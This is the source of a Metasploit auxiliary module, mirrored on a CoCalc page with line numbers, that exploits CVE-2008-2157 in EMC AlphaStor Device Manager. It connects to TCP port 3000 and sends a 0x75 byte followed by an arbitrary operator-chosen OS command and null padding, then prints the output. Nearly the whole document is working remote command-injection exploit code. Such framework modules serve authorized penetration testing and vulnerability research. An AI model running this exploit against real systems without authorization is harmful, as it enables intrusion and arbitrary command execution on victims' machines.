Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
14
'Description' => %q{
15
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
16
because the application fails to properly sanitize user-supplied input.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' => [
21
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
22
[ 'OSVDB', '45715' ],
23
[ 'CVE', '2008-2157' ],
24
[ 'BID', '29398' ],
25
],
26
'DisclosureDate' => '2008-05-27',
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'SideEffects' => [IOC_IN_LOGS],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options(
36
[
37
Opt::RPORT(3000),
38
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
39
]
40
)
41
end
42
43
def run
44
connect
45
46
data = "\x75" + datastore['CMD']
47
pad = "\x00" * 512
48
49
pkt = data + pad
50
51
print_status("Sending command: #{datastore['CMD']}")
52
sock.put(pkt)
53
54
# try to suck it all in.
55
select(nil, nil, nil, 5)
56
57
res = sock.get_once || ''
58
59
res.each_line do |info|
60
print_status(info.gsub(/[^[:print:]]+/, '').to_s) # hack.
61
end
62
63
disconnect
64
rescue ::Rex::ConnectionError
65
print_error 'Connection failed'
66
rescue ::EOFError
67
print_error 'No reply'
68
end
69
end
70
71